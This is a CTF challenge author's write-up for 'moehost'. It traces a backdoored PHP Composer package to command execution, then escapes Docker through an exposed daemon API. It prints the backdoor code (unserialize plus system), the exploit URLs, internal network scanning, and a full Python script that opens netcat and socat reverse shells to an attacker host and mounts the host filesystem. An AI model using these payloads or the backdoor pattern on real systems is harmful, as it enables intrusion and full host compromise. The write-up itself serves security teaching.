Table of Contents
I would like to thank players who participated in ASIS CTF quals. This year I released 2 challenges on ASIS CTF quals, namely moehost and gameshop. In this post I'm going to explain the intended way to exploit the moehost.
Here's the information about the challenge:
Title: moehost
Solves: 2/1079
Difficulty: ★★☆☆☆ (easy-medium)
Description: Moe Moe Kyun~~ We made a hosting company and a security company at the same time. We strive hard to develop the kawaii-kaonojo-intelligence security softwares. We also give you bug bounties. Can you leak our flag from our network? (Please play nice and do not break up the service. )
URL: http://147.75.33.143/b97803827d121f9d39b0c3efe5d45623d33a9b14/
The level of this challenge is set to easy-medium, because this requires a bit of pentesting skills and a bit of knowledge on docker system.
This challenge made me a bit tedious to make -- The main objective of this challenge is to compromise the host system. I had to make service checkers, make qemu images and test multiple times..
This challenge needs a lot of assumptions -- in fact you may get stuck in ambiguous outputs. It needs Recon skills as well as your guessing skills to find the backdoor.
The URL given here is a construction page that says that the flag is going to be release at December 2019. (At the time of writing this post is April 2018.) This website does not have any interesting data but a single comment hinting you that <!-- the goal is to trigger the Moe -->
.
Let's manually pentest this website.
http://147.75.33.143/b97803827d121f9d39b0c3efe5d45623d33a9b14/robots.txt
Robots are disabled.
http://147.75.33.143/b97803827d121f9d39b0c3efe5d45623d33a9b14/.hg/
404
http://147.75.33.143/b97803827d121f9d39b0c3efe5d45623d33a9b14/.git/
404
http://147.75.33.143/b97803827d121f9d39b0c3efe5d45623d33a9b14/.svn/
404
http://147.75.33.143/b97803827d121f9d39b0c3efe5d45623d33a9b14/index.asd
404 Error (nginx-style)
http://147.75.33.143/b97803827d121f9d39b0c3efe5d45623d33a9b14/index.php
404 Error (but php error style, prints File not found)
First thing we realize is that the website is developed in PHP.
Crawling pages manually will show the index page where sourcecode is obfuscated(http://147.75.33.143/
) However, when we look at the bottom of the script, we see another comment saying that <!-- dirbust won't even work, Please try something else. This is 2018. Robots are useless these days. -->
In this case, we can now assume that:
When we look for PHP-related folders manually, we find out that there's vendor/
folder, and it gives a 403 error.
As the vendor folder exists in the server, We should now assume that PHP libraries are loaded and triggered from unknown script.
By digging for PHP library-related files, we find composer.json in no time. http://147.75.33.143/b97803827d121f9d39b0c3efe5d45623d33a9b14/composer.json
{
"name": "moehost",
"minimum-stability": "dev",
"require": {
},
"require-dev": {
"me9um1n/kazuma": "^2.1@dev"
}
}
Seems like it's loading a single library named me9um1n/kazuma
. What's next? we need to verify if this library is on use.
http://147.75.33.143/b97803827d121f9d39b0c3efe5d45623d33a9b14/vendor/me9um1n/kazuma/
403 found. http://147.75.33.143/b97803827d121f9d39b0c3efe5d45623d33a9b14/vendor/me9um1n/kazuma/.git
404 ...
Sadly, there's nothing much we can leak from this folder. So let's google this package.
Google shows up two results:
me9um1n/kazuma - Packagist
https://packagist.org/packages/me9um1n/kazuma
me9um1n/kazuma. Administration tools for geeks. github.com/kazuma1337/me9um1n · Homepage · Source · Issues · Installs: 1. Dependents: 0. Suggesters: 0. Stars: 0. Watchers: 0. Forks: 0. Open Issues: 0. dev-master / 2.1.x-dev 2018-03-14 09:16 UTC. Requires. php: ^7.0. Requires (Dev). None. Suggests. None. Provides.
--
me9um1n/kazuma on Packagist - Libraries.io
https://libraries.io/packagist/me9um1n%2Fkazuma
2018. 3. 14. - Administration tools for geeks - a package on Packagist - Libraries.io.
On https://packagist.org/packages/me9um1n/kazuma
, the package information is shown as followes:
me9um1n/kazuma
$ composer require me9um1n/kazuma
Administration tools for geeks
github.com/kazuma1337/me9um1n
Homepage
Source
Issues
Installs: 1
Oops! Only 1 system installed this thing. Sounds really suspicious. Github page is destroyed. let's find out who is this kazuma1337
.
On the profile section of https://github.com/kazuma1337
, we see that
佐藤 和真
kazuma1337
Moved to bitbucket!
Moe Hosting Inc.
http://maid.moe/
It says he moved to bitbucket. so what's on https://bitbucket.org/kazuma1337
?
Repository Last updated Builds
me9um1n 2 days ago
Let's clone this sourcecode.
# git clone https://bitbucket.org/kazuma1337/me9um1n.git
Cloning into 'me9um1n'...
remote: Counting objects: 18, done.
remote: Compressing objects: 100% (17/17), done.
remote: Total 18 (delta 3), reused 0 (delta 0)
Unpacking objects: 100% (18/18), done.
# ls -la me9um1n/ me9um1n/src/
me9um1n/:
total 32
drwxr-xr-x 5 root root 4096 Apr 28 18:06 .
drwxr-xr-x 3 root root 4096 Apr 28 18:06 ..
-rw-r--r-- 1 root root 694 Apr 28 18:06 composer.json
-rw-r--r-- 1 root root 611 Apr 28 18:06 composer.lock
drwxr-xr-x 8 root root 4096 Apr 28 18:06 .git
-rw-r--r-- 1 root root 1094 Apr 28 18:06 LICENSE
drwxr-xr-x 2 root root 4096 Apr 28 18:06 src
drwxr-xr-x 3 root root 4096 Apr 28 18:06 vendor
me9um1n/src/:
total 16
drwxr-xr-x 2 root root 4096 Apr 28 18:06 .
drwxr-xr-x 5 root root 4096 Apr 28 18:06 ..
-rw-r--r-- 1 root root 331 Apr 28 18:06 Kazuma.php
-rw-r--r-- 1 root root 601 Apr 28 18:06 Moe.php
Yup, leaking the me9um1n/kazuma
is now complete. Let's examine these two PHP files.
# Kazuma.php
namespace Kazuma;
class Kazuma
{
public function __construct(){
$lucky = @unserialize($_GET['k@zuma']); << Unserializes $_GET input
}
}
# Moe.php
class Moe {
public $level = 0x1336;
public function __wakeup(){
$moe = $_GET;
if($this->level === 0x1337) @system($moe[k][a][w][a][i][i]);
}
public function __set($n, $v){
//if($n !== "level") die('failed');
$this->$n = (int)$v;
}
}
These two pieces of code look very weird; But it already sounds like a hidden backdoor. What's next? Let's try to trigger in the website.
Assuming that these scripts are autoloaded by composer, We will make a serialized object to call the system function.
http://147.75.33.143/b97803827d121f9d39b0c3efe5d45623d33a9b14/?k[a][w][a][i][i]=ls&k@zuma=O:10:"Kazuma\Moe":1:{s:5:"level";i:4919;}
--
composer.json
composer.lock
css
hint
img
index.php
izumi.gif
js
mp4
package-lock.json
package.json
robots.txt
vendor
Now we successfully triggered the backdoor.
If you succeed to execute the backdoor, congratulations. Now we'll begin with docker escaping.
cmd: uname -a
Linux moehost 4.9.0-6-amd64 #1 SMP Debian 4.9.82-1+deb9u3 (2018-03-02) x86_64 Linux
cmd: ls -al /home
total 16
drwxr-xr-x 1 root root 4096 Apr 25 09:52 .
drwxr-xr-x 1 root root 4096 Apr 25 09:52 ..
drwxr-sr-x 2 dockrema dockrema 4096 Apr 12 00:35 dockremap
drwxr-sr-x 2 www www 4096 Apr 25 09:52 www
cmd: cat /etc/hosts
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.1.0.137 moehost
cmd: ls /usr/local/bin
dind
docker
docker-containerd
docker-containerd-ctr
docker-containerd-shim
docker-entrypoint.sh
docker-init
docker-proxy
docker-runc
dockerd
dockerd-entrypoint.sh
modprobe
By googling dind
, first result shows a github page of docker in docker
. We now know that this is running under docker. We will now explore the network, in order to attack the host machine.
From the above outputs, we found out that the container's internal IP is 10.1.0.137
. Now we will bruteforce IPs to check alive hosts..
/?k[a][w][a][i][i]=wget+-O+-+http://10.1.0.0/+2%3E%261&k@zuma=O:10:%22Kazuma\Moe%22:1:{s:5:%22level%22;i:4919;} > failed: Network unreachable
/?k[a][w][a][i][i]=wget+-O+-+http://10.1.0.1/+2%3E%261&k@zuma=O:10:%22Kazuma\Moe%22:1:{s:5:%22level%22;i:4919;} > failed: Connection refused
...
/?k[a][w][a][i][i]=wget+-O+-+http://10.1.0.4/+2%3E%261&k@zuma=O:10:%22Kazuma\Moe%22:1:{s:5:%22level%22;i:4919;} > failed: Host is unreachable.
...
There's this host 10.1.0.1
that returns Connection Refused
. Now, let's crawl over well-known ports.
/?k[a][w][a][i][i]=wget+-O+-+http://10.1.0.1:80/+2%3E%261&k@zuma=O:10:%22Kazuma\Moe%22:1:{s:5:%22level%22;i:4919;} > Error
...
/?k[a][w][a][i][i]=wget+-O+-+http://10.1.0.1:2222/+2%3E%261&k@zuma=O:10:%22Kazuma\Moe%22:1:{s:5:%22level%22;i:4919;} > Lags; probably SSH
...
/?k[a][w][a][i][i]=wget+-O+-+http://10.1.0.1:2375/+2%3E%261&k@zuma=O:10:%22Kazuma\Moe%22:1:{s:5:%22level%22;i:4919;} > 404 Not found
Many might wonder what 2375 port is. it's not even in /etc/services
. This port is a docker REST API port in which any authorized user can manage the docker remotely. If you're into pentests, remember -- this port must be tested on docker-based services. More information about this can be found here
Let's connect 10.1.0.1:2375
via docker.
http://147.75.33.143/b97803827d121f9d39b0c3efe5d45623d33a9b14/?k[a][w][a][i][i]=/usr/local/bin/docker+-H+10.1.0.1+ps+2%3E%261&k@zuma=O:10:%22Kazuma\Moe%22:1:{s:5:%22level%22;i:4919;}
--
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
8a6af2efb8b6 moehost "/bin/sh -c /etc/rc.…" 3 days ago Up 3 days 80/tcp, 2375/tcp moehost
Yes, we got an access into the docker host 😃
What now? If you're new to docker escapes, here's your chance to try it out. There are dozens of container escaping documents available online.
This exploit written below is developed with an help of an online resource. There should be many other ways to escape the container level.
# cat exploit2.py
import base64
import urllib
import urllib2
import sys
import os
import socket
from multiprocessing import Process
# Victim Host and your IP for the reverse shell (port 1337 and 1338 must be open)
host = "http://147.75.33.143/b97803827d121f9d39b0c3efe5d45623d33a9b14/"
your_ip = "harold.kim"
# Dockerfile #1: Return a reverse shell with more controls
exploit = """FROM alpine:latest
RUN apk add --update --no-cache netcat-openbsd docker
RUN mkdir /files
COPY / /files/
RUN mknod /tmp/back2 p
RUN /bin/sh 0</tmp/back2 | nc """+your_ip+""" 1337 1>/tmp/back2"""
# Dockerfile #2: Another reverse shell, but this time with socat
exploit2 = """FROM alpine:latest
RUN apk add --update --no-cache bash socat
CMD socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:"""+your_ip+""":1338"""
exp_dir = "/tmp/styprexp/"
gen_exp = lambda x: host + '?k[a][w][a][i][i]='+urllib.quote_plus(x)+'&k@zuma=O:10:"Kazuma\Moe":1:{s:5:"level";i:4919;}'
def get(u):
try:
r = urllib2.urlopen(u).read()
return r.split("<!-- probably wincest?")[0]
except:
return False
# Stage 1: Trigger reverse shell generation
def spawn_on_build():
global exploit, exploit2, host
# Stage 0. base64 payloads
exploit = base64.b64encode(exploit)
exploit2 = base64.b64encode(exploit2)
# Stage 1. build Dockerfile(exp1) -- generates reverse shell and exp2 on it
print("[*] Injecting to spawn reverse shell..")
get(gen_exp('mkdir '+exp_dir))
get(gen_exp('(echo "'+exploit+'"|base64 -d)>'+exp_dir+'exp1'))
get(gen_exp('(echo "'+exploit2+'"|base64 -d)>'+exp_dir+'exp2'))
print get(gen_exp('cd '+exp_dir+';/usr/local/bin/docker -H 10.1.0.1 build -f '+exp_dir+'exp1 . 2>&1'))
# Stage 2. Spawn another reverse shell server with host volume mounted
def spawn_final_shell():
print("[.] Waiting for the first reverse shell..")
s = socket.socket()
# listen port 1337
s.bind(('0.0.0.0', 1337))
s.listen(5)
while True:
conn, address = s.accept()
print("[*] First reverse shell from %s:%s" % (address[0], address[1]))
conn.send("cd files; docker -H 172.17.0.1 build -f ./exp2 -t exp2 .\n")
conn.send("/usr/bin/docker -H 172.17.0.1 run -d --privileged --net=host -v /:/host exp2 2>&1\n")
print("[!]" + conn.recv(1024))
print("[*] Trying to spawn another reverse shell...")
conn.close()
s.close()
return True
# Stage 3. Leak flag from the reverse shell(from another container)
def leak_flag_from_shell():
print("[.] Waiting for the second reverse shell..")
# listen port 1338
s = socket.socket()
s.bind(('0.0.0.0', 1338))
s.listen(5)
while True:
conn, address = s.accept()
print("[*] Second reverse shell from %s:%s" % (address[0], address[1]))
conn.recv(1024) # prints moehost:/#
conn.send("cat /host/flag\n")
conn.recv(1024)
print("[~] FLAG: %s" % (conn.recv(1024),))
conn.close()
s.close()
return True
if __name__ == "__main__":
Process(target=leak_flag_from_shell).start()
Process(target=spawn_final_shell).start()
spawn_on_build()
Result:
# python exploit2.py
[*] Injecting to spawn reverse shell..
[.] Waiting for the second reverse shell..
[.] Waiting for the first reverse shell..
[*] First reverse shell from 147.75.33.143:58110
[!]Sending build context to Docker daemon 3.072kB
[*] Trying to spawn another reverse shell...
[*] Second reverse shell from 147.75.33.143:38000
[~] FLAG: ASIS{31c4603f3433940f261fc7d579f8429fc00b2fb2}
Gotcha!
If you have any questions, please write it on the comment section. Thank you for playing!